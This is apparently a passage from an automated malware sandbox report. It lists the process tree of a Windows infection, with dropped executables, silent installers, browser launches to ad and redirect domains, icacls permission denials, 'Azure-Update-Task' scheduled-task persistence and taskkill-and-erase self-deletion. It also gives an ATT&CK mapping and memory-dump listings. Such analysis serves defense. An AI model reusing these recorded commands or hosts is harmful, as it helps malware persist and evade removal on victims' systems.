      C:\Windows\system32\cmd.exe /c Sat19ba05e89ea6d406.exe
      4⤵
      Loads dropped DLL
      PID:744
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat19ba05e89ea6d406.exe
        
        Sat19ba05e89ea6d406.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1080
      - C:\Users\Admin\AppData\Local\Temp\is-CB0I8.tmp\Sat19ba05e89ea6d406.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-CB0I8.tmp\Sat19ba05e89ea6d406.tmp" /SL5="$4012A,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat19ba05e89ea6d406.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1460
        
        C:\Users\Admin\AppData\Local\Temp\is-2AQ7V.tmp\46807GHF____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-2AQ7V.tmp\46807GHF____.exe" /S /UID=burnerch2
        7⤵
        
        PID:2392
        
        C:\Program Files\Reference Assemblies\JFHSWFPXIN\ultramediaburner.exe
        
        "C:\Program Files\Reference Assemblies\JFHSWFPXIN\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:3024
        
        C:\Users\Admin\AppData\Local\Temp\is-CT7U1.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-CT7U1.tmp\ultramediaburner.tmp" /SL5="$201D0,281924,62464,C:\Program Files\Reference Assemblies\JFHSWFPXIN\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:1684
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\51-31583-0b0-e0992-d54ca28c0218c\Maegyniniva.exe
        
        "C:\Users\Admin\AppData\Local\Temp\51-31583-0b0-e0992-d54ca28c0218c\Maegyniniva.exe"
        8⤵
        
        PID:1976
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:1988
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1988 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:1704
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1988 CREDAT:1258508 /prefetch:2
        10⤵
        
        PID:3620
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1988 CREDAT:1586195 /prefetch:2
        10⤵
        
        PID:3356
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1988 CREDAT:3027978 /prefetch:2
        10⤵
        
        PID:8608
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1988 CREDAT:3617825 /prefetch:2
        10⤵
        
        PID:9092
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:1172
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1172 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:4068
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
        9⤵
        
        PID:3392
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
        9⤵
        
        PID:8588
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=2087215
        9⤵
        
        PID:3828
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=4263119
        9⤵
        
        PID:9084
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:9084 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:8580
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?id=1294231
        9⤵
        
        PID:5256
        
        C:\Users\Admin\AppData\Local\Temp\5a-3771c-ed7-6c2ac-dd4bf76ed0b6d\Pygamatulae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5a-3771c-ed7-6c2ac-dd4bf76ed0b6d\Pygamatulae.exe"
        8⤵
        
        PID:3064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bl2sngqu.y1h\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:2772
        
        C:\Users\Admin\AppData\Local\Temp\bl2sngqu.y1h\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\bl2sngqu.y1h\GcleanerEU.exe /eufive
        10⤵
        
        PID:556
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\bl2sngqu.y1h\GcleanerEU.exe" & exit
        11⤵
        
        PID:3576
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:3648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5ainuhtc.1ra\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:1624
        
        C:\Users\Admin\AppData\Local\Temp\5ainuhtc.1ra\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\5ainuhtc.1ra\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:1340
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\5ainuhtc.1ra\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\5ainuhtc.1ra\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631141042 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:3236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\edkt0ld3.mjj\anyname.exe & exit
        9⤵
        
        PID:2876
        
        C:\Users\Admin\AppData\Local\Temp\edkt0ld3.mjj\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\edkt0ld3.mjj\anyname.exe
        10⤵
        
        PID:2180
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\flftcib1.xmr\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:3088
        
        C:\Users\Admin\AppData\Local\Temp\flftcib1.xmr\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\flftcib1.xmr\gcleaner.exe /mixfive
        10⤵
        
        PID:3116
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\flftcib1.xmr\gcleaner.exe" & exit
        11⤵
        
        PID:3800
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:3948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ocpzlwtx.vq5\autosubplayer.exe /S & exit
        9⤵
        
        PID:3136
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat19e6a852f849bb2.exe
      4⤵
      Loads dropped DLL
      PID:1200
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat19e6a852f849bb2.exe
        
        Sat19e6a852f849bb2.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1292
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1292 -s 976
        6⤵
        Program crash
        
        PID:2988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat19c6762a08beae.exe
      4⤵
      Loads dropped DLL
      PID:1848
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D617825\Sat19c6762a08beae.exe
        
        Sat19c6762a08beae.exe
        5⤵
        Executes dropped EXE
        
        PID:1312

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2900
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2908

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:1812

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2056

C:\Users\Admin\AppData\Local\Temp\7FCA.exe
C:\Users\Admin\AppData\Local\Temp\7FCA.exe
1⤵
PID:3180

C:\Users\Admin\AppData\Local\Temp\B933.exe
C:\Users\Admin\AppData\Local\Temp\B933.exe
1⤵
PID:3704

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3832
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3856

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3960
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 85A7A19676FC294603DBD9ACB6594E24 C
  2⤵
  PID:3144
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B16325436AE99986C1297171C48D5FBE
  2⤵
  PID:3124
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:4084
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F3D0DE1547150F6D381EA8C17D531CCF M Global\MSI0000
  2⤵
  PID:3280

C:\Users\Admin\AppData\Local\Temp\3777.exe
C:\Users\Admin\AppData\Local\Temp\3777.exe
1⤵
PID:3212
- C:\Users\Admin\AppData\Local\Temp\3777.exe
  C:\Users\Admin\AppData\Local\Temp\3777.exe
  2⤵
  PID:3608
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\c43ca74d-b22c-42b4-ace9-1cda906f8147" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:3124
- - C:\Users\Admin\AppData\Local\Temp\3777.exe
    "C:\Users\Admin\AppData\Local\Temp\3777.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:3676
  - - C:\Users\Admin\AppData\Local\Temp\3777.exe
      "C:\Users\Admin\AppData\Local\Temp\3777.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:3660
    - - C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build2.exe
        
        "C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build2.exe"
        5⤵
        
        PID:2432
      - C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build2.exe
        
        "C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build2.exe"
        6⤵
        
        PID:1000
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1000 -s 1300
        7⤵
        Program crash
        
        PID:3556
    - - C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build3.exe
        
        "C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build3.exe"
        5⤵
        
        PID:3280
      - C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build3.exe
        
        "C:\Users\Admin\AppData\Local\d917f537-c2a5-4e56-8482-00c8f9064511\build3.exe"
        6⤵
        
        PID:1592
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3796

C:\Users\Admin\AppData\Local\Temp\7A90.exe
C:\Users\Admin\AppData\Local\Temp\7A90.exe
1⤵
PID:3616
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\7A90.exe"
  2⤵
  PID:3448
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:2564
- C:\Users\Admin\AppData\Local\Temp\jj9DuSMyNL.exe
  "C:\Users\Admin\AppData\Local\Temp\jj9DuSMyNL.exe"
  2⤵
  PID:3388
- - C:\Windows\SysWOW64\schtasks.exe
    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
    3⤵
    - Creates scheduled task(s)
    PID:4012

C:\Users\Admin\AppData\Local\Temp\9B79.exe
C:\Users\Admin\AppData\Local\Temp\9B79.exe
1⤵
PID:3264

C:\Users\Admin\AppData\Local\Temp\DDC7.exe
C:\Users\Admin\AppData\Local\Temp\DDC7.exe
1⤵
PID:3320
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3320 -s 888
  2⤵
  - Program crash
  PID:3528

C:\Windows\system32\taskeng.exe
taskeng.exe {B90DE740-182A-494F-A47E-D0DAABA30417} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
PID:3760
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:4032
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:188
  - - C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
      4⤵
      Creates scheduled task(s)
      PID:1216
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:3148
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:8548
- C:\Users\Admin\AppData\Roaming\sjfgihh
  C:\Users\Admin\AppData\Roaming\sjfgihh
  2⤵
  PID:3940
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:8844
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:9076
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:2028
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:8500
- C:\Users\Admin\AppData\Local\c43ca74d-b22c-42b4-ace9-1cda906f8147\3777.exe
  C:\Users\Admin\AppData\Local\c43ca74d-b22c-42b4-ace9-1cda906f8147\3777.exe --Task
  2⤵
  PID:8568
- - C:\Users\Admin\AppData\Local\c43ca74d-b22c-42b4-ace9-1cda906f8147\3777.exe
    C:\Users\Admin\AppData\Local\c43ca74d-b22c-42b4-ace9-1cda906f8147\3777.exe --Task
    3⤵
    PID:8432
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:8828
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:3704
- C:\Users\Admin\AppData\Roaming\sjfgihh
  C:\Users\Admin\AppData\Roaming\sjfgihh
  2⤵
  PID:8964
- C:\Users\Admin\AppData\Local\c43ca74d-b22c-42b4-ace9-1cda906f8147\3777.exe
  C:\Users\Admin\AppData\Local\c43ca74d-b22c-42b4-ace9-1cda906f8147\3777.exe --Task
  2⤵
  PID:5192

C:\Users\Admin\AppData\Local\Temp\6677.exe
C:\Users\Admin\AppData\Local\Temp\6677.exe
1⤵
PID:3252

C:\Windows\system32\taskeng.exe
taskeng.exe {D620086E-5B68-4EFC-AFE4-DF0ED0B9000A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:4012
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
  2⤵
  PID:3116
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
  2⤵
  PID:3764
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
  2⤵
  PID:4092
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
  2⤵
  PID:3152
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
  2⤵
  PID:3868
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
  2⤵
  PID:3812
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
  2⤵
  PID:5468

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/300-360-0x00000000020F0000-0x00000000020F1000-memory.dmp

Filesize
4KB

Download
memory/556-373-0x0000000000400000-0x0000000002B6B000-memory.dmp

Filesize
39.4MB

Download
memory/900-342-0x0000000002370000-0x00000000023A8000-memory.dmp

Filesize
224KB

Download
memory/992-229-0x00000000049D0000-0x00000000049D1000-memory.dmp

Filesize
4KB

Download
memory/992-228-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/992-324-0x0000000002050000-0x0000000002C9A000-memory.dmp

Filesize
12.3MB

Download
memory/992-328-0x0000000002050000-0x0000000002C9A000-memory.dmp

Filesize
12.3MB

Download
memory/1072-319-0x0000000000400000-0x0000000002B6B000-memory.dmp

Filesize
39.4MB

Download
memory/1072-318-0x0000000000240000-0x0000000000288000-memory.dmp

Filesize
288KB

Download
memory/1080-187-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download
memory/1212-95-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1212-91-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1212-97-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1212-98-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1212-96-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1212-93-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1212-94-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1212-89-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1212-90-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1212-92-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1244-355-0x0000000002D00000-0x0000000002D15000-memory.dmp

Filesize
84KB

Download
memory/1292-321-0x0000000000400000-0x00000000017F2000-memory.dmp

Filesize
19.9MB

Download
memory/1292-320-0x0000000000320000-0x00000000003F1000-memory.dmp

Filesize
836KB

Download
memory/1312-349-0x0000000000400000-0x0000000001788000-memory.dmp

Filesize
19.5MB

Download
memory/1312-347-0x0000000000240000-0x0000000000249000-memory.dmp

Filesize
36KB

Download
memory/1340-377-0x0000000000280000-0x00000000002D7000-memory.dmp

Filesize
348KB

Download
memory/1460-317-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/1472-358-0x0000000140000000-0x0000000140763000-memory.dmp

Filesize
7.4MB

Download
memory/1472-359-0x00000000002E0000-0x0000000000300000-memory.dmp

Filesize
128KB

Download
memory/1524-178-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/1524-174-0x00000000010D0000-0x00000000010D1000-memory.dmp

Filesize
4KB

Download
memory/1524-188-0x000000001B070000-0x000000001B072000-memory.dmp

Filesize
8KB

Download
memory/1524-185-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/1524-181-0x00000000001D0000-0x00000000001EB000-memory.dmp

Filesize
108KB

Download
memory/1624-60-0x0000000075041000-0x0000000075043000-memory.dmp

Filesize
8KB

Download
memory/1684-363-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/1692-172-0x000000001A780000-0x000000001A782000-memory.dmp

Filesize
8KB

Download
memory/1692-145-0x00000000012E0000-0x00000000012E1000-memory.dmp

Filesize
4KB

Download
memory/1964-331-0x0000000001160000-0x0000000001161000-memory.dmp

Filesize
4KB

Download
memory/1976-362-0x0000000002010000-0x0000000002012000-memory.dmp

Filesize
8KB

Download
memory/2052-191-0x00000000012A0000-0x00000000012A1000-memory.dmp

Filesize
4KB

Download
memory/2088-367-0x00000000004F6000-0x0000000000515000-memory.dmp

Filesize
124KB

Download
memory/2088-365-0x00000000004F0000-0x00000000004F2000-memory.dmp

Filesize
8KB

Download
memory/2088-368-0x0000000000515000-0x0000000000516000-memory.dmp

Filesize
4KB

Download
memory/2148-334-0x0000000006F31000-0x0000000006F32000-memory.dmp

Filesize
4KB

Download
memory/2148-339-0x0000000006F34000-0x0000000006F36000-memory.dmp

Filesize
8KB

Download
memory/2148-335-0x0000000006F32000-0x0000000006F33000-memory.dmp

Filesize
4KB

Download
memory/2148-333-0x0000000000400000-0x0000000002B6D000-memory.dmp

Filesize
39.4MB

Download
memory/2148-336-0x0000000006F33000-0x0000000006F34000-memory.dmp

Filesize
4KB

Download
memory/2148-332-0x00000000001E0000-0x0000000000210000-memory.dmp

Filesize
192KB

Download
memory/2208-322-0x000000001AFC0000-0x000000001AFC2000-memory.dmp

Filesize
8KB

Download
memory/2208-198-0x0000000000260000-0x000000000027E000-memory.dmp

Filesize
120KB

Download
memory/2208-194-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/2244-351-0x000000001ADC0000-0x000000001ADC2000-memory.dmp

Filesize
8KB

Download
memory/2248-199-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

Filesize
4KB

Download
memory/2324-203-0x00000000011F0000-0x00000000011F1000-memory.dmp

Filesize
4KB

Download
memory/2324-326-0x0000000000520000-0x0000000000521000-memory.dmp

Filesize
4KB

Download
memory/2324-234-0x00000000004B0000-0x00000000004C8000-memory.dmp

Filesize
96KB

Download
memory/2392-323-0x0000000000AE0000-0x0000000000AE2000-memory.dmp

Filesize
8KB

Download
memory/2408-356-0x000000001BB30000-0x000000001BB32000-memory.dmp

Filesize
8KB

Download
memory/2436-209-0x00000000011A0000-0x00000000011A1000-memory.dmp

Filesize
4KB

Download
memory/2436-219-0x00000000005A0000-0x00000000005BB000-memory.dmp

Filesize
108KB

Download
memory/2436-329-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

Filesize
4KB

Download
memory/2496-341-0x00000000022F0000-0x00000000022F1000-memory.dmp

Filesize
4KB

Download
memory/2516-216-0x000000013F3A0000-0x000000013F3A1000-memory.dmp

Filesize
4KB

Download
memory/2516-343-0x000000001B140000-0x000000001B142000-memory.dmp

Filesize
8KB

Download
memory/2528-348-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

Filesize
4KB

Download
memory/2636-225-0x00000000002C0000-0x00000000002C1000-memory.dmp

Filesize
4KB

Download
memory/2636-327-0x000000001B160000-0x000000001B162000-memory.dmp

Filesize
8KB

Download
memory/2636-221-0x0000000000980000-0x0000000000981000-memory.dmp

Filesize
4KB

Download
memory/2636-226-0x00000000002D0000-0x00000000002EB000-memory.dmp

Filesize
108KB

Download
memory/2636-227-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/2644-350-0x000000001B690000-0x000000001B692000-memory.dmp

Filesize
8KB

Download
memory/2676-337-0x0000000004B70000-0x0000000004B71000-memory.dmp

Filesize
4KB

Download
memory/2696-220-0x0000000000F50000-0x0000000000F51000-memory.dmp

Filesize
4KB

Download
memory/2696-325-0x000000001AB60000-0x000000001AB62000-memory.dmp

Filesize
8KB

Download
memory/2732-340-0x0000000000400000-0x0000000002B5D000-memory.dmp

Filesize
39.4MB

Download
memory/2732-338-0x0000000003200000-0x000000000595D000-memory.dmp

Filesize
39.4MB

Download
memory/2912-357-0x0000000000680000-0x0000000000698000-memory.dmp

Filesize
96KB

Download
memory/2988-330-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/3024-361-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3056-346-0x0000000003240000-0x00000000032F6000-memory.dmp

Filesize
728KB

Download
memory/3056-345-0x00000000030F0000-0x000000000323B000-memory.dmp

Filesize
1.3MB

Download
memory/3056-344-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/3064-364-0x0000000002060000-0x0000000002062000-memory.dmp

Filesize
8KB

Download
memory/3064-366-0x0000000002066000-0x0000000002085000-memory.dmp

Filesize
124KB

Download
memory/3064-371-0x0000000002085000-0x0000000002086000-memory.dmp

Filesize
4KB

Download
memory/3180-382-0x00000000002C0000-0x00000000002F0000-memory.dmp

Filesize
192KB

Download
memory/3180-383-0x0000000005B64000-0x0000000005B66000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads